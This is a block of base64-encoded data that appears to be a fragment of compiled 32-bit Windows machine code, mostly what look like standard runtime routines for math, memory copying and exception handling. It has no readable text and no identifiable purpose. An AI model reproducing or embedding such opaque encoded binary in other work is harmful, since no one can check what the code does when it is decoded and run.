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CQEiRQk6CQGAADdRCQQg8Qcw2YPElQkBGYPEkQkBGYPftBmD3PSIGYPftGB4f//DwALwYP4AHSguukDAADrpo2kJAAAAADrA8zMzMaFcP////4K7XU72cnZ8esNxoVw/////jLt2ereyegrAQAA2ejewfaFYf///wF0BNno3vH2wkB1Atn9Cu10Atng6bICAADoRgEAAAvAdBQy7YP4AnQC9tXZydnh66/ptQIAAOlLAwAA3djd2NstkB8BEMaFcP///wLD2e3Zydnkm929YP///5v2hWH///9BddLZ8cPGhXD///8C3djbLZofARDDCsl1U8PZ7OsC2e3ZyQrJda7Z8cPpWwIAAOjPAAAA3djd2ArJdQ7Z7oP4AXUGCu10Atngw8aFcP///wLbLZAfARCD+AF17QrtdOnZ4Ovl3djpDQIAAN3Y6bUCAABY2eSb3b1g////m/aFYf///wF1D93Y2y2QHwEQCu10Atngw8aFcP///wTp1wEAAN3Y3djbLZAfARDGhXD///8DwwrJda/d2NstkB8BEMPZwNnh2y2uHwEQ3tmb3b1g////m/aFYf///0F1ldnA2fzZ5JvdvWD///+bipVh////2cnY4dnkm929YP///9nh2fDD2cDZ/NjZm9/gnnUa2cDcDcIfARDZwNn83tmb3+CedA24AQAAAMO4AAAAAOv4uAIAAADr8VaD7HSL9FaD7AjdHCSD7AjdHCSb3XYI6B8KAACDxBTdZgjdBoPEdF6FwHQF6dABAADDzMzMzMzMzMzMgHoOBXURZoudXP///4DPAoDn/rM/6wRmuz8TZomdXv///9mtXv///7seIAEQ2eWJlWz///+b3b1g////xoVw////AJuKjWH////Q4dD50MGKwSQP1w++wIHhBAQAAIvaA9iDwxD/I4B6DgV1EWaLnVz///+AzwKA5/6zP+sEZrs/E2aJnV7////ZrV7///+7HiABENnliZVs////m929YP///8aFcP///wDZyYqNYf///9nlm929YP///9nJiq1h////0OXQ/dDFisUkD9eK4NDh0PnQwYrBJA/X0OTQ5ArED77AgeEEBAAAi9oD2IPDEP8j6M4AAADZyd3Yw+jEAAAA6/bd2N3Y2e7D3djd2NnuhO10Atngw93Y3djZ6MPbvWL////brWL////2hWn///9AdAjGhXD//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